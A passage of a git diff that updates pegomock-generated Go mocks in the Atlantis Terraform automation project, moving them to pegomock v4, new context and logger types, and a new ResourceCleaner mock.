pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandRunner) Import(ctx command.ProjectContext) *MockProjectCommandRunner_Import_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Import", _params, verifier.timeout) + return &MockProjectCommandRunner_Import_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandRunner_Import_OngoingVerification struct { + mock *MockProjectCommandRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandRunner_Import_OngoingVerification) GetCapturedArguments() command.ProjectContext { + ctx := c.GetAllCapturedArguments() + return ctx[len(ctx)-1] +} + +func (c *MockProjectCommandRunner_Import_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandRunner) Plan(ctx command.ProjectContext) *MockProjectCommandRunner_Plan_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Plan", _params, verifier.timeout) return &MockProjectCommandRunner_Plan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -103,44 +265,106 @@ type MockProjectCommandRunner_Plan_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockProjectCommandRunner_Plan_OngoingVerification) GetCapturedArguments() models.ProjectCommandContext { +func (c *MockProjectCommandRunner_Plan_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } -func (c *MockProjectCommandRunner_Plan_OngoingVerification) GetAllCapturedArguments() (_param0 []models.ProjectCommandContext) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.ProjectCommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.ProjectCommandContext) +func (c *MockProjectCommandRunner_Plan_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } } } return } -func (verifier *VerifierMockProjectCommandRunner) Apply(ctx models.ProjectCommandContext) *MockProjectCommandRunner_Apply_OngoingVerification { - params := []pegomock.Param{ctx} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Apply", params, verifier.timeout) - return &MockProjectCommandRunner_Apply_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) *MockProjectCommandRunner_PolicyCheck_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PolicyCheck", _params, verifier.timeout) + return &MockProjectCommandRunner_PolicyCheck_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockProjectCommandRunner_Apply_OngoingVerification struct { +type MockProjectCommandRunner_PolicyCheck_OngoingVerification struct { + mock *MockProjectCommandRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandRunner_PolicyCheck_OngoingVerification) GetCapturedArguments() command.ProjectContext { + ctx := c.GetAllCapturedArguments() + return ctx[len(ctx)-1] +} + +func (c *MockProjectCommandRunner_PolicyCheck_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandRunner) StateRm(ctx command.ProjectContext) *MockProjectCommandRunner_StateRm_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "StateRm", _params, verifier.timeout) + return &MockProjectCommandRunner_StateRm_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandRunner_StateRm_OngoingVerification struct { + mock *MockProjectCommandRunner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockProjectCommandRunner_StateRm_OngoingVerification) GetCapturedArguments() command.ProjectContext { + ctx := c.GetAllCapturedArguments() + return ctx[len(ctx)-1] +} + +func (c *MockProjectCommandRunner_StateRm_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + } + return +} + +func (verifier *VerifierMockProjectCommandRunner) Version(ctx command.ProjectContext) *MockProjectCommandRunner_Version_OngoingVerification { + _params := []pegomock.Param{ctx} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Version", _params, verifier.timeout) + return &MockProjectCommandRunner_Version_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockProjectCommandRunner_Version_OngoingVerification struct { mock *MockProjectCommandRunner methodInvocations []pegomock.MethodInvocation } -func (c *MockProjectCommandRunner_Apply_OngoingVerification) GetCapturedArguments() models.ProjectCommandContext { +func (c *MockProjectCommandRunner_Version_OngoingVerification) GetCapturedArguments() command.ProjectContext { ctx := c.GetAllCapturedArguments() return ctx[len(ctx)-1] } -func (c *MockProjectCommandRunner_Apply_OngoingVerification) GetAllCapturedArguments() (_param0 []models.ProjectCommandContext) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.ProjectCommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.ProjectCommandContext) +func (c *MockProjectCommandRunner_Version_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } } } return diff --git a/server/events/mocks/mock_project_lock.go b/server/events/mocks/mock_project_lock.go index 7515468aac..90a5fd50ad 100644 --- a/server/events/mocks/mock_project_lock.go +++ b/server/events/mocks/mock_project_lock.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" events "github.com/runatlantis/atlantis/server/events" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" @@ -27,23 +27,23 @@ func NewMockProjectLocker(options ...pegomock.Option) *MockProjectLocker { func (mock *MockProjectLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockProjectLocker) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockProjectLocker) TryLock(log *logging.SimpleLogger, pull models.PullRequest, user models.User, workspace string, project models.Project) (*events.TryLockResponse, error) { +func (mock *MockProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*events.TryLockResponse, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockProjectLocker().") } - params := []pegomock.Param{log, pull, user, workspace, project} - result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", params, []reflect.Type{reflect.TypeOf((**events.TryLockResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *events.TryLockResponse - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*events.TryLockResponse) + _params := []pegomock.Param{log, pull, user, workspace, project, repoLocking} + _result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", _params, []reflect.Type{reflect.TypeOf((**events.TryLockResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *events.TryLockResponse + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*events.TryLockResponse) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockProjectLocker) VerifyWasCalledOnce() *VerifierMockProjectLocker { @@ -53,14 +53,14 @@ func (mock *MockProjectLocker) VerifyWasCalledOnce() *VerifierMockProjectLocker } } -func (mock *MockProjectLocker) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockProjectLocker { +func (mock *MockProjectLocker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectLocker { return &VerifierMockProjectLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockProjectLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectLocker { +func (mock *MockProjectLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectLocker { return &VerifierMockProjectLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -68,7 +68,7 @@ func (mock *MockProjectLocker) VerifyWasCalledInOrder(invocationCountMatcher peg } } -func (mock *MockProjectLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockProjectLocker { +func (mock *MockProjectLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectLocker { return &VerifierMockProjectLocker{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -78,14 +78,14 @@ func (mock *MockProjectLocker) VerifyWasCalledEventually(invocationCountMatcher type VerifierMockProjectLocker struct { mock *MockProjectLocker - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockProjectLocker) TryLock(log *logging.SimpleLogger, pull models.PullRequest, user models.User, workspace string, project models.Project) *MockProjectLocker_TryLock_OngoingVerification { - params := []pegomock.Param{log, pull, user, workspace, project} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", params, verifier.timeout) +func (verifier *VerifierMockProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) *MockProjectLocker_TryLock_OngoingVerification { + _params := []pegomock.Param{log, pull, user, workspace, project, repoLocking} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", _params, verifier.timeout) return &MockProjectLocker_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -94,33 +94,49 @@ type MockProjectLocker_TryLock_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockProjectLocker_TryLock_OngoingVerification) GetCapturedArguments() (*logging.SimpleLogger, models.PullRequest, models.User, string, models.Project) { - log, pull, user, workspace, project := c.GetAllCapturedArguments() - return log[len(log)-1], pull[len(pull)-1], user[len(user)-1], workspace[len(workspace)-1], project[len(project)-1] +func (c *MockProjectLocker_TryLock_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.User, string, models.Project, bool) { + log, pull, user, workspace, project, repoLocking := c.GetAllCapturedArguments() + return log[len(log)-1], pull[len(pull)-1], user[len(user)-1], workspace[len(workspace)-1], project[len(project)-1], repoLocking[len(repoLocking)-1] } -func (c *MockProjectLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []*logging.SimpleLogger, _param1 []models.PullRequest, _param2 []models.User, _param3 []string, _param4 []models.Project) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*logging.SimpleLogger, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*logging.SimpleLogger) +func (c *MockProjectLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.User, _param3 []string, _param4 []models.Project, _param5 []bool) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } } - _param2 = make([]models.User, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.User) + if len(_params) > 2 { + _param2 = make([]models.User, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.User) + } } - _param3 = make([]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(string) + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } } - _param4 = make([]models.Project, len(c.methodInvocations)) - for u, param := range params[4] { - _param4[u] = param.(models.Project) + if len(_params) > 4 { + _param4 = make([]models.Project, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(models.Project) + } + } + if len(_params) > 5 { + _param5 = make([]bool, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(bool) + } } } return diff --git a/server/events/mocks/mock_pull_cleaner.go b/server/events/mocks/mock_pull_cleaner.go index af78259814..9f5e89242d 100644 --- a/server/events/mocks/mock_pull_cleaner.go +++ b/server/events/mocks/mock_pull_cleaner.go @@ -4,8 +4,9 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) @@ -25,19 +26,19 @@ func NewMockPullCleaner(options ...pegomock.Option) *MockPullCleaner { func (mock *MockPullCleaner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPullCleaner) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockPullCleaner) CleanUpPull(repo models.Repo, pull models.PullRequest) error { +func (mock *MockPullCleaner) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPullCleaner().") } - params := []pegomock.Param{repo, pull} - result := pegomock.GetGenericMockFrom(mock).Invoke("CleanUpPull", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{logger, repo, pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("CleanUpPull", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 } func (mock *MockPullCleaner) VerifyWasCalledOnce() *VerifierMockPullCleaner { @@ -47,14 +48,14 @@ func (mock *MockPullCleaner) VerifyWasCalledOnce() *VerifierMockPullCleaner { } } -func (mock *MockPullCleaner) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockPullCleaner { +func (mock *MockPullCleaner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullCleaner { return &VerifierMockPullCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockPullCleaner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullCleaner { +func (mock *MockPullCleaner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullCleaner { return &VerifierMockPullCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -62,7 +63,7 @@ func (mock *MockPullCleaner) VerifyWasCalledInOrder(invocationCountMatcher pegom } } -func (mock *MockPullCleaner) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockPullCleaner { +func (mock *MockPullCleaner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullCleaner { return &VerifierMockPullCleaner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -72,14 +73,14 @@ func (mock *MockPullCleaner) VerifyWasCalledEventually(invocationCountMatcher pe type VerifierMockPullCleaner struct { mock *MockPullCleaner - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockPullCleaner) CleanUpPull(repo models.Repo, pull models.PullRequest) *MockPullCleaner_CleanUpPull_OngoingVerification { - params := []pegomock.Param{repo, pull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CleanUpPull", params, verifier.timeout) +func (verifier *VerifierMockPullCleaner) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockPullCleaner_CleanUpPull_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CleanUpPull", _params, verifier.timeout) return &MockPullCleaner_CleanUpPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -88,21 +89,31 @@ type MockPullCleaner_CleanUpPull_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockPullCleaner_CleanUpPull_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { - repo, pull := c.GetAllCapturedArguments() - return repo[len(repo)-1], pull[len(pull)-1] +func (c *MockPullCleaner_CleanUpPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { + logger, repo, pull := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] } -func (c *MockPullCleaner_CleanUpPull_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockPullCleaner_CleanUpPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } } return diff --git a/server/events/mocks/mock_resource_cleaner.go b/server/events/mocks/mock_resource_cleaner.go new file mode 100644 index 0000000000..5e07b3aa81 --- /dev/null +++ b/server/events/mocks/mock_resource_cleaner.go @@ -0,0 +1,100 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events (interfaces: ResourceCleaner) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + jobs "github.com/runatlantis/atlantis/server/jobs" + "reflect" + "time" +) + +type MockResourceCleaner struct { + fail func(message string, callerSkip ...int) +} + +func NewMockResourceCleaner(options ...pegomock.Option) *MockResourceCleaner { + mock := &MockResourceCleaner{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockResourceCleaner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockResourceCleaner) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockResourceCleaner) CleanUp(pullInfo jobs.PullInfo) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockResourceCleaner().") + } + _params := []pegomock.Param{pullInfo} + pegomock.GetGenericMockFrom(mock).Invoke("CleanUp", _params, []reflect.Type{}) +} + +func (mock *MockResourceCleaner) VerifyWasCalledOnce() *VerifierMockResourceCleaner { + return &VerifierMockResourceCleaner{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockResourceCleaner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockResourceCleaner { + return &VerifierMockResourceCleaner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockResourceCleaner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockResourceCleaner { + return &VerifierMockResourceCleaner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockResourceCleaner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockResourceCleaner { + return &VerifierMockResourceCleaner{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockResourceCleaner struct { + mock *MockResourceCleaner + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockResourceCleaner) CleanUp(pullInfo jobs.PullInfo) *MockResourceCleaner_CleanUp_OngoingVerification { + _params := []pegomock.Param{pullInfo} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CleanUp", _params, verifier.timeout) + return &MockResourceCleaner_CleanUp_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockResourceCleaner_CleanUp_OngoingVerification struct { + mock *MockResourceCleaner + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockResourceCleaner_CleanUp_OngoingVerification) GetCapturedArguments() jobs.PullInfo { + pullInfo := c.GetAllCapturedArguments() + return pullInfo[len(pullInfo)-1] +} + +func (c *MockResourceCleaner_CleanUp_OngoingVerification) GetAllCapturedArguments() (_param0 []jobs.PullInfo) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]jobs.PullInfo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(jobs.PullInfo) + } + } + } + return +} diff --git a/server/events/mocks/mock_step_runner.go b/server/events/mocks/mock_step_runner.go index d4a8469941..92c1510d65 100644 --- a/server/events/mocks/mock_step_runner.go +++ b/server/events/mocks/mock_step_runner.go @@ -4,8 +4,8 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" + pegomock "github.com/petergtz/pegomock/v4" + command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) @@ -25,23 +25,23 @@ func NewMockStepRunner(options ...pegomock.Option) *MockStepRunner { func (mock *MockStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockStepRunner) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockStepRunner) Run(ctx models.ProjectCommandContext, extraArgs []string, path string, envs map[string]string) (string, error) { +func (mock *MockStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockStepRunner().") } - params := []pegomock.Param{ctx, extraArgs, path, envs} - result := pegomock.GetGenericMockFrom(mock).Invoke("Run", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{ctx, extraArgs, path, envs} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockStepRunner) VerifyWasCalledOnce() *VerifierMockStepRunner { @@ -51,14 +51,14 @@ func (mock *MockStepRunner) VerifyWasCalledOnce() *VerifierMockStepRunner { } } -func (mock *MockStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockStepRunner { +func (mock *MockStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockStepRunner { return &VerifierMockStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockStepRunner { +func (mock *MockStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockStepRunner { return &VerifierMockStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -66,7 +66,7 @@ func (mock *MockStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomo } } -func (mock *MockStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockStepRunner { +func (mock *MockStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockStepRunner { return &VerifierMockStepRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -76,14 +76,14 @@ func (mock *MockStepRunner) VerifyWasCalledEventually(invocationCountMatcher peg type VerifierMockStepRunner struct { mock *MockStepRunner - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockStepRunner) Run(ctx models.ProjectCommandContext, extraArgs []string, path string, envs map[string]string) *MockStepRunner_Run_OngoingVerification { - params := []pegomock.Param{ctx, extraArgs, path, envs} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", params, verifier.timeout) +func (verifier *VerifierMockStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) *MockStepRunner_Run_OngoingVerification { + _params := []pegomock.Param{ctx, extraArgs, path, envs} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -92,29 +92,37 @@ type MockStepRunner_Run_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockStepRunner_Run_OngoingVerification) GetCapturedArguments() (models.ProjectCommandContext, []string, string, map[string]string) { +func (c *MockStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, []string, string, map[string]string) { ctx, extraArgs, path, envs := c.GetAllCapturedArguments() return ctx[len(ctx)-1], extraArgs[len(extraArgs)-1], path[len(path)-1], envs[len(envs)-1] } -func (c *MockStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.ProjectCommandContext, _param1 [][]string, _param2 []string, _param3 []map[string]string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.ProjectCommandContext, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.ProjectCommandContext) +func (c *MockStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 [][]string, _param2 []string, _param3 []map[string]string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } } - _param1 = make([][]string, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.([]string) + if len(_params) 